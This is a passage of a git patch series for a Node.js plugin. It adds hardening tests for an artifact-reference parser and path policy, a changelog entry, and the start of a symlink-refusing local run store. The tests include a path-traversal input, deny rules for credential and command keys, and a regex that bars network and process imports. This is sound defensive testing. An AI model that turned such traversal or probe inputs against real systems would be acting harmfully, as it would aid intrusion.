'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRef(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseArtifactRefV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 64; index += 1) deep = { wrapped: deep }; + const deepRef = validRef(); + deepRef.deep = deep; + assert.equal(errorOf(() => parseArtifactRefV1(deepRef)).code, 'value_depth_exceeded'); + + pathError(`${'a'.repeat(2000)}.patch`, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRef(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseArtifactRefV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('every artifact-specific denial code stays inside the closed vocabulary', () => { + const refCodes = new Set(ARTIFACT_REF_ERROR_CODES); + for (const code of [ + 'duplicate_artifact_ref', + 'refs_exceeded', + 'unknown_artifact_kind', + 'unknown_artifact_class', + 'unknown_media_type', + 'unknown_content_encoding', + 'missing_key', + 'invalid_format', + 'invalid_type', + 'out_of_range', + ]) { + assert.ok(refCodes.has(code), code); + } +}); + +test('orderArtifactRefsV1 rejects every hostile batch shape before sorting', () => { + assert.equal(errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, 'duplicate_artifact_ref'); + const sparse = new Array(2); + sparse[0] = validRef(); + assert.equal(errorOf(() => orderArtifactRefsV1(sparse)).code, 'invalid_array'); + const extended = [validRef()]; + extended.extraProperty = true; + assert.equal(errorOf(() => orderArtifactRefsV1(extended)).code, 'invalid_array'); + const accessorElement = validRef(); + Object.defineProperty(accessorElement, 'run_id', { enumerable: true, get() { return 'run-x'; } }); + assert.equal(errorOf(() => orderArtifactRefsV1([accessorElement])).code, 'accessor_property_denied'); + const tooMany = []; + for (let index = 0; index <= MAX_ARTIFACT_REFS; index += 1) { + tooMany.push(secondRef({ + assignment_id: `lane-${String(index).padStart(3, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(3, '0')}/d.patch`, + sha256: `${index.toString(16).padStart(2, '0')}`.repeat(32), + })); + } + assert.equal(tooMany.length, MAX_ARTIFACT_REFS + 1); + assert.equal(errorOf(() => orderArtifactRefsV1(tooMany)).code, 'refs_exceeded'); +}); + +test('mid-call caller mutation cannot disturb an in-flight ordering or digest', () => { + const refs = [secondRef(), validRef()]; + const orderedOnce = orderArtifactRefsV1(refs); + refs[1].byte_length = 4096; + const orderedTwice = orderArtifactRefsV1([secondRef(), validRef()]); + assert.deepEqual(orderedOnce.map((ref) => ref.assignment_id), orderedTwice.map((ref) => ref.assignment_id)); + + const input = validRef(); + const canonical = canonicalArtifactRefJsonV1(input); + const digest = artifactRefDigestV1(input).digest; + input.media_type = 'application/json'; + assert.equal(canonicalArtifactRefJsonV1(validRef()), canonical); + assert.equal(artifactRefDigestV1(validRef()).digest, digest); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs new file mode 100644 index 0000000..7b43363 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs @@ -0,0 +1,342 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_HEX_LENGTH, + ARTIFACT_DIGEST_VERSION, + ARTIFACT_KINDS, + ARTIFACT_REF_DIGEST_LABEL, + ARTIFACT_REF_SCHEMA_ID, + ARTIFACT_SHA256_PATTERN, + CONTENT_ENCODINGS, + MAX_ARTIFACT_REFS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MEDIA_TYPES, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + validateArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_BYTES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { + CAPABILITY_ARTIFACT_KINDS, +} from '../mcp/v3/capability-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { secondRef, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('a valid artifact reference parses into a frozen detached snapshot', () => { + const input = validRef(); + const snapshot = parseArtifactRefV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.deepEqual(Object.keys(snapshot), [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]); + for (const key of Object.keys(snapshot)) { + assert.equal(snapshot[key], input[key], key); + assert.ok(Object.hasOwn(snapshot, key), key); + } + const reparsed = validateArtifactRefV1(input); + assert.notEqual(reparsed, snapshot); + assert.equal(canonicalArtifactRefJsonV1(reparsed), canonicalArtifactRefJsonV1(snapshot)); +}); + +test('parsed snapshots are detached: later caller mutation cannot drift anything', () => { + const input = validRef(); + const digest = artifactRefDigestV1(input).digest; + const snapshot = parseArtifactRefV1(input); + input.byte_length = 4096; + input.sha256 = 'f'.repeat(64); + input.relative_path = 'runs/run-artifact-01/lane-alpha/other.patch'; + assert.equal(snapshot.byte_length, 2048); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + assert.notEqual(artifactRefDigestV1(input).digest, digest); + assert.throws(() => { 'use strict'; snapshot.byte_length = 1; }, TypeError); + assert.throws(() => { 'use strict'; snapshot.new_field = 1; }, TypeError); + assert.equal(Reflect.deleteProperty(snapshot, 'sha256'), false); +}); + +test('canonical JSON and digests are invariant under caller key order', () => { + const straight = validRef(); + const shuffled = validRef(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + Object.assign(shuffled, {}); + assert.equal(canonicalArtifactRefJsonV1(straight), canonicalArtifactRefJsonV1(reordered)); + assert.equal(artifactRefDigestV1(straight).digest, artifactRefDigestV1(reordered).digest); +}); + +test('digest descriptors carry the framed domain, version, label, and byte count', () => { + const descriptor = artifactRefDigestV1(validRef()); + assert.deepEqual(Object.keys(descriptor), [ + 'algorithm', 'domain', 'version', 'label', 'input_bytes', 'digest', + ]); + assert.equal(descriptor.algorithm, 'sha256'); + assert.equal(descriptor.domain, ARTIFACT_DIGEST_DOMAIN); + assert.equal(descriptor.version, ARTIFACT_DIGEST_VERSION); + assert.equal(descriptor.label, ARTIFACT_REF_DIGEST_LABEL); + assert.match(descriptor.digest, /^[0-9a-f]{64}$/u); + assert.equal(descriptor.input_bytes, Buffer.byteLength(canonicalArtifactRefJsonV1(validRef()), 'utf8')); + assert.equal(Object.isFrozen(descriptor), true); +}); + +test('every meaningful value change must change the digest', () => { + const baseline = artifactRefDigestV1(validRef()).digest; + const variations = [ + { run_id: 'run-artifact-02' }, + { assignment_id: 'lane-beta' }, + { artifact_kind: 'provider_report' }, + { artifact_class: 'raw' }, + { relative_path: `runs/run-artifact-01/lane-alpha/other.patch` }, + { byte_length: 2049 }, + { sha256: 'ab'.repeat(32) }, + { media_type: 'application/json' }, + { content_encoding: 'base64' }, + ]; + for (const variation of variations) { + assert.notEqual(artifactRefDigestV1(validRef(variation)).digest, baseline, JSON.stringify(variation)); + } +}); + +test('verification is exact about expected digests and never throws on malformed ones', () => { + const digest = artifactRefDigestV1(validRef()).digest; + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + for (const bad of [undefined, null, 12345, {}, `SHA${digest.slice(3)}`, `${digest}0`, digest.slice(1)]) { + assert.equal(verifyArtifactRefDigestV1(validRef(), bad), false); + } + assert.equal(verifyArtifactRefDigestV1(validRef({ byte_length: 9999 }), digest), false); +}); + +test('byte length bounds are class-dependent and bounded evidence stays finite', () => { + assert.equal(MIN_ARTIFACT_BYTE_LENGTH, 1); + parseArtifactRefV1(validRef({ artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH })); + errorOf( + () => parseArtifactRefV1(validRef({ + artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, + })), + 'artifact_ref.byte_length', + ).code; + parseArtifactRefV1(validRef({ artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH })); + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ + artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, + })), 'artifact_ref.byte_length').code, + 'out_of_range', + ); + for (const bad of [0, -1, 1.5, Number.MAX_SAFE_INTEGER + 1, '2048', null]) { + const code = errorOf(() => parseArtifactRefV1(validRef({ byte_length: bad })), 'artifact_ref.byte_length').code; + assert.ok(['invalid_type', 'out_of_range'].includes(code), `unexpected code ${code}`); + } +}); + +test('closed vocabularies are enforced exactly and stay detached', () => { + assert.deepEqual([...ARTIFACT_KINDS], [...CAPABILITY_ARTIFACT_KINDS]); + const exportsToProbe = [ + ['ARTIFACT_KINDS', ARTIFACT_KINDS], + ['ARTIFACT_CLASSES', ARTIFACT_CLASSES], + ['MEDIA_TYPES', MEDIA_TYPES], + ['CONTENT_ENCODINGS', CONTENT_ENCODINGS], + ]; + for (const [name, vocabulary] of exportsToProbe) { + assert.equal(Object.isFrozen(vocabulary), true, name); + const mutated = [...vocabulary]; + try { + vocabulary.push('bogus'); + } catch { + // Frozen arrays throw in strict mode; acceptance must not change either way. + } + assert.deepEqual([...vocabulary], mutated, name); + } + parseArtifactRefV1(validRef()); + for (const [key, values, code] of [ + ['artifact_kind', ARTIFACT_KINDS, 'unknown_artifact_kind'], + ['artifact_class', ARTIFACT_CLASSES, 'unknown_artifact_class'], + ['media_type', MEDIA_TYPES, 'unknown_media_type'], + ['content_encoding', CONTENT_ENCODINGS, 'unknown_content_encoding'], + ]) { + for (const value of values) { + assert.doesNotThrow(() => parseArtifactRefV1(validRef({ [key]: value }))); + } + for (const hostile of ['Git_Diff', 'RAW', 'text/plain ', '', 'bogus']) { + if (values.includes(hostile)) continue; + const error = errorOf( + () => parseArtifactRefV1(validRef({ [key]: hostile })), + `artifact_ref.${key}`, + ); + assert.equal(error.code, code, `${key}: ${hostile}`); + } + } +}); + +test('each of the ten keys is required with a precise missing_key denial', () => { + for (const key of [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]) { + const partial = validRef(); + delete partial[key]; + const error = errorOf(() => parseArtifactRefV1(partial), `artifact_ref.${key}`); + assert.equal(error.code, 'missing_key'); + } +}); + +test('unknown keys are rejected and forbidden classes keep their precise denials', () => { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ extra: 1 })), 'artifact_ref.extra').code, 'unknown_key'); + const forbidden = [ + ['command', 'executable_content_denied'], + ['env', 'executable_content_denied'], + ['secret', 'credential_content_denied'], + ['token', 'credential_content_denied'], + ['fallback', 'replay_or_fallback_denied'], + ['allow_merge', 'merge_authority_denied'], + ['depends_on', 'dependency_not_allowed'], + ]; + for (const [key, code] of forbidden) { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ [key]: 1 }))).code, code, key); + } +}); + +test('identity fields reuse the accepted manifest grammars exactly', () => { + for (const bad of ['', 'Run-Artifact', 'run_artifact', 'aa', `-run`, `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ run_id: bad })), 'artifact_ref.run_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['', 'Lane-Alpha', 'lane_alpha', `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ assignment_id: bad })), 'artifact_ref.assignment_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['A'.repeat(64), 'zz', `${'a'.repeat(63)}g`, null]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ sha256: bad })), 'artifact_ref.sha256').code, + 'invalid_format', + ); + } + assert.equal(ARTIFACT_SHA256_PATTERN.test('a'.repeat(64)), true); + assert.equal(ARTIFACT_SHA256_PATTERN.test('A'.repeat(64)), false); +}); + +test('relative paths inside references flow through the strict path policy', () => { + const nested = validRef({ + relative_path: `runs/run-artifact-01/lane-alpha/evidence/provider-report.json`, + }); + parseArtifactRefV1(nested); + const descriptor = validateArtifactRelativePathV1(nested.relative_path, 'artifact_ref.relative_path'); + assert.equal(descriptor.segment_count, 5); + assert.equal(descriptor.byte_length, Buffer.byteLength(nested.relative_path, 'utf8')); + const escape = validRef({ relative_path: '../../outside/diff.patch' }); + const error = errorOf(() => parseArtifactRefV1(escape), 'artifact_ref.relative_path'); + assert.equal(error.code, 'alias_segment_denied'); + assert.equal(isArtifactRelativePathV1('../../outside/diff.patch'), false); + assert.equal(isArtifactRelativePathV1(nested.relative_path), true); + assert.equal(ARTIFACT_PATH_MAX_BYTES > 0, true); +}); + +test('compareArtifactRefsV1 fixes one deterministic total tuple order', () => { + const base = validRef(); + const other = secondRef(); + const forward = compareArtifactRefsV1(base, other); + assert.equal(forward, -compareArtifactRefsV1(other, base)); + assert.equal(compareArtifactRefsV1(base, validRef()), 0); + // assignment_id dominates everything below it; at equal identity fields + // the code-unit order of media_type decides ('application/json' sorts first). + assert.equal(compareArtifactRefsV1(base, validRef({ media_type: 'application/json' })), 1); + // artifact_class outranks artifact_kind at equal run/child. + const classOrder = compareArtifactRefsV1( + validRef({ artifact_class: 'raw' }), + validRef({ artifact_kind: 'provider_report' }), + ); + assert.equal(classOrder, -1); +}); + +test('orderArtifactRefsV1 is deterministic, duplicate-free, and bounded', () => { + const refs = []; + for (let index = 0; index < MAX_ARTIFACT_REFS; index += 1) { + refs.push(secondRef({ + assignment_id: `lane-${String(index).padStart(2, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(2, '0')}/diff.patch`, + })); + } + const ordered = orderArtifactRefsV1(refs); + const reshuffled = orderArtifactRefsV1([...refs].reverse()); + assert.deepEqual(JSON.parse(canonicalArtifactRefJsonV1(ordered[0])), JSON.parse(canonicalArtifactRefJsonV1(reshuffled[0]))); + assert.deepEqual(ordered.map((ref) => ref.assignment_id), reshuffled.map((ref) => ref.assignment_id)); + assert.equal(Object.isFrozen(ordered), true); + assert.ok(ordered.every((ref) => Object.isFrozen(ref))); + for (let index = 1; index < ordered.length; index += 1) { + assert.equal(compareArtifactRefsV1(ordered[index - 1], ordered[index]), -1); + } + + assert.deepEqual(orderArtifactRefsV1([]), []); + const single = orderArtifactRefsV1([secondRef()]); + assert.equal(single.length, 1); + + assert.equal( + errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, + 'duplicate_artifact_ref', + ); + const aliasSource = validRef(); + assert.equal( + errorOf(() => orderArtifactRefsV1([aliasSource, aliasSource])).code, + 'duplicate_artifact_ref', + ); + assert.equal( + errorOf(() => orderArtifactRefsV1([...refs, validRef()])).code, + 'refs_exceeded', + ); +}); + +test('the modules are pure schema/path policy: no I/O surface and no process access', async () => { + const allowedSpecifiers = new Set([ + 'node:buffer', 'node:crypto', 'node:util', + './grammar.mjs', './run-manifest.mjs', './identity.mjs', + './artifact-path.mjs', './capability-bridge.mjs', './selection-json.mjs', + './contract.mjs', './assignment-manifest.mjs', './repo-path-matcher.mjs', + ]); + for (const relative of ['artifact-ref.mjs', 'artifact-path.mjs']) { + const source = await readFile(path.join(HERE, '..', 'mcp', 'v3', relative), 'utf8'); + const specifiers = [...source.matchAll(/from '([^']+)'/gu)].map((match) => match[1]); + assert.ok(specifiers.length >= 3, `${relative} should import its dependencies`); + for (const specifier of specifiers) { + assert.ok(allowedSpecifiers.has(specifier), `${relative} imports ${specifier}`); + } + assert.doesNotMatch(source, /node:(fs|fs\/promises|net|http|https|child_process|os|dns|tls|stream|worker_threads|process)/u); + assert.doesNotMatch(source, /\bprocess\./u); + assert.doesNotMatch(source, /\brequire\(/u); + assert.doesNotMatch(source, /\beval\(/u); + // The modules address artifacts; they must not claim that P08 storage exists. + assert.match(source, /P08/u); + } +}); From bb452c6f349aa43542495d2d89872bbaee8197b2 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:32 +0000 Subject: [PATCH 006/151] docs(changelog): record the P07 artifact reference and path policy Document the closed ten-key ArtifactRefV1 schema, the strict portable relative artifact path policy with its fixed denial pipeline, the domain-framed canonical digest authority, deterministic ordering, and the pure schema/path-policy boundary that claims no P08 storage. --- CHANGELOG.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24f2801..ef2e910 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,36 @@ ### Added +- **ArtifactRefV1 and the strict relative artifact path policy.** Adds two + additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one + deterministic fail-closed question - is this string a strict portable + run-relative artifact path? - accepting only NFC, well-formed, + forward-slash, relative paths of 1..16 segments (128 UTF-8 bytes each, + 1024 total) with no backslashes, leading/trailing/doubled slashes, empty + or dot-only segments, colons (foreclosing drive, UNC, alternate-data- + stream, and scheme spellings in one rule), Windows reserved device stems + (`con`, `CON.txt`, `com1`, `lpt0`, `clock$`), edge dots/spaces Windows + strips, C0/C1 controls, invisible/format/bidi/tag code points, or solidus + look-alikes; the fixed validation pipeline raises identical first typed + errors from a closed 17-code vocabulary and never echoes hostile bytes. + `artifact-ref.mjs` binds the closed ten-key ArtifactRefV1 schema - exact + run/child identifiers reusing the accepted manifest grammars, artifact + kind bound to the P17 capability vocabulary, raw-vs-sanitized class with + class-dependent bounded-evidence caps (sanitized 256 KiB, raw 32 MiB), + declared byte length, lowercase-hex SHA-256, and closed media-type and + content-encoding enums - behind hostile-container hardening that rejects + live/revoked Proxies with zero traps, accessors without invoking them, + symbol keys, exotic prototypes, own undefined, sparse/extended arrays, + aliases/cycles, depth, and size before any effect, returns deep-frozen + detached snapshots, and frames SHA-256 digests over validator-owned + canonical JSON with explicit domain/version/label separation so key order + cannot change a digest while any value change must; ordering is a fixed + tuple comparator plus a bounded (64), duplicate-free batch orderer. Both + modules are pure schema/path policy only - no filesystem, network, or + process I/O - and neither claims that P08 artifact storage exists: + producers declare references, and only a later storage authority may bind + them to bytes. Coverage lives in `test/r1-artifact-ref.test.mjs` and + `test/r1-artifact-ref-adversarial.test.mjs`. - **Deterministic P05 resolver and P17 capability bridge.** Additive `resolveRunSelectionV1` / `resolveSelectionAnswersV1` bind every assignment's provider/model from authored explicit execution, the From de743a17f0f15cac2d77c979f028edb7c1e8661f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 007/151] feat(run): add durable local run store with exclusive idempotent submission Persist P06-bound canonical run records in a caller-supplied existing private directory. Fail closed on symlink, non-directory, and unsafe ownership or mode surfaces, use no-follow opens, and publish through same-directory temps, fsync, and exclusive link without overwriting an authoritative record. Exact same key plus canonical body returns the existing record; conflicting keys or bodies and mismatched protected identity fail closed. --- .../codex-co-engineer/mcp/v3/run-store.mjs | 891 ++++++++++++++++++ 1 file changed, 891 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-store.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-store.mjs b/plugins/codex-co-engineer/mcp/v3/run-store.mjs new file mode 100644 index 0000000..284fe44 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-store.mjs @@ -0,0 +1,891 @@ +// Durable local run store — exclusive ownership and idempotent submission +// (ADR 0001 identifiers `exact_identities`, `immutable_repo_base_identity`, +// `bounded_evidence`, `no_post_dispatch_fallback_or_replay`; Gate A +// `gate_a_idempotent_submission`). +// +// Additive v3 module. It persists one bounded canonical record per run in a +// caller-supplied existing private directory. Records bind the accepted P06 +// RunIdentityV1, GitIdentityV1, initial DispatchProvenanceV1 / +// DispatchTelemetryV1 facts, and request idempotency key. Exact same key plus +// canonical body returns the existing record without mutation; conflicts and +// mismatched protected identity fail closed. +// +// The store never derives filesystem paths from untrusted strings, never +// follows symlinks, never overwrites an authoritative record, and never +// echoes record contents or credentials. Restore reopens by auditing +// canonical bytes and recomputing every accepted P06 digest. There is no +// journal/reducer, scheduler, provider driver, artifact store, workspace +// provisioning, cleanup, MCP wiring, or protected-ref implementation. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + projectDispatchTelemetryV1, + validateDispatchProvenanceV1, + validateDispatchTelemetryV1, +} from './protected-telemetry.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, +} from './selection-json.mjs'; + +export const RUN_STORE_RECORD_SCHEMA_ID = 'codex-co-engineer.run-store-record.v1'; +export const MAX_RUN_STORE_ENTRIES = 64; +export const MAX_RUN_STORE_DIRECTORY_ENTRIES = 160; +export const MAX_RUN_STORE_RECORD_BYTES = 64 * 1024; +export const MAX_RUN_STORE_FILENAME_BYTES = 80; +export const MAX_RUN_STORE_KEY_FILE_BYTES = 80; +export const MAX_RUN_STORE_DIAGNOSTIC_BYTES = 160; + +export const RUN_STORE_RECORD_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_idempotency_key', 'identity', 'git', + 'provenance', 'telemetry', 'canonical_digest', +]); +export const RUN_STORE_INPUT_KEYS = capturedFreeze([ + 'run_id', 'request_idempotency_key', 'identity', 'git', 'provenance', 'telemetry', +]); + +const RECORD_NAME_PATTERN = /^[a-z][a-z0-9-]{2,63}\.json$/u; +const KEY_NAME_PATTERN = /^k-[0-9a-f]{64}$/u; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const IDEMPOTENCY_HEX_PATTERN = /^sha256:([0-9a-f]{64})$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const RANDOM_BYTES = randomBytes; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const STORE_CHAINS = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUN_STORE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUN_STORE_DIAGNOSTIC_BYTES); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, fallback, fallbackMessage) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') failStore('run_store_root_missing', field, 'The run store path does not exist.'); + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failStore('run_store_root_unsafe', field, 'The run store path is not a real directory.'); + } + if (errno === 'EEXIST') failStore('run_identity_conflict', field, fallbackMessage); + failStore(fallback, field, fallbackMessage); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('run_store_root_unsafe', 'root', 'Run store root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('run_store_path_unsafe', 'root', 'Run store root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failStore('run_store_path_unsafe', 'root', 'Run store root must be a normalized absolute path.'); + } + const parts = value.split('/'); + for (const part of parts) { + if (part === '.' || part === '..') { + failStore('run_store_path_unsafe', 'root', 'Run store root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failStore('run_store_foreign_entry', field, 'Run store directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failStore('run_store_path_unsafe', field, 'Run store filenames must be single path components.'); + } + if (utf8ByteLength(name) > MAX_RUN_STORE_FILENAME_BYTES) { + failStore('run_store_foreign_entry', field, 'Run store filename exceeds the bounded length.'); + } + return name; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateEntry(stat, field, kind) { + if (stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', field, `The run store ${kind} must not be a symbolic link.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must be owned by the current user.`); + } + if ((stat.mode & 0o022) !== 0) { + failStore('run_store_root_unsafe', field, + `The run store ${kind} must not be writable by group or other users.`); + } + if (kind === 'directory' && (stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, + 'The run store directory must be private (no group or other access).'); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failStore('run_store_not_regular', field, 'Run store files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('run_store_root_unsafe', field, 'Run store files must be owned by the current user.'); + } + if ((stat.mode & 0o077) !== 0) { + failStore('run_store_root_unsafe', field, 'Run store files must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +async function openRootHandle(rootPath) { + const resolved = assertSafeRootPath(rootPath); + let handle; + try { + handle = await open(resolved, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, 'root', 'run_store_root_unsafe', + 'The run store root could not be opened without following links.'); + } + try { + const stat = await handle.stat(); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + failStore('run_store_root_unsafe', 'root', 'The run store root must be a real directory.'); + } + assertPrivateEntry(stat, 'root', 'directory'); + return { handle, path: resolved, dev: stat.dev, ino: stat.ino, mode: stat.mode, uid: stat.uid }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function assertRootUnchanged(token) { + const opened = await openRootHandle(token.path); + try { + if (!sameIdentity(opened, token)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root was replaced during use.'); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failStore('run_store_path_unsafe', 'name', 'Run store child path escaped the private root.'); + } + return joined; +} + +function recordNameFor(runId) { + assertRunId(runId, 'run_id'); + return `${runId}.json`; +} + +function keyNameFor(requestKey, field = 'request_idempotency_key') { + if (typeof requestKey !== 'string') { + failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + } + const match = IDEMPOTENCY_HEX_PATTERN.exec(requestKey); + if (!match) failStore('invalid_format', field, 'Request idempotency key must be a sha256 digest.'); + return `k-${match[1]}`; +} + +function classifyName(name) { + if (capturedTest(TEMP_NAME_PATTERN, name)) return 'temp'; + if (capturedTest(RECORD_NAME_PATTERN, name)) return 'record'; + if (capturedTest(KEY_NAME_PATTERN, name)) return 'key'; + return 'foreign'; +} + +function equalBytes(left, right) { + if (!NodeBuffer.isBuffer(left) || !NodeBuffer.isBuffer(right) || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(left, right); +} + +function hashCanonical(canonical) { + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(canonical, 'utf8').digest('hex')}`; +} + +function bindRecord(payload) { + const canonical = canonicalJsonStringify(payload); + const record = snapshotRecord({ ...payload, canonical_digest: hashCanonical(canonical) }); + const bytes = BUFFER_FROM(`${canonicalJsonStringify(record)}\n`, 'utf8'); + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', 'record', + `Run store records must not exceed 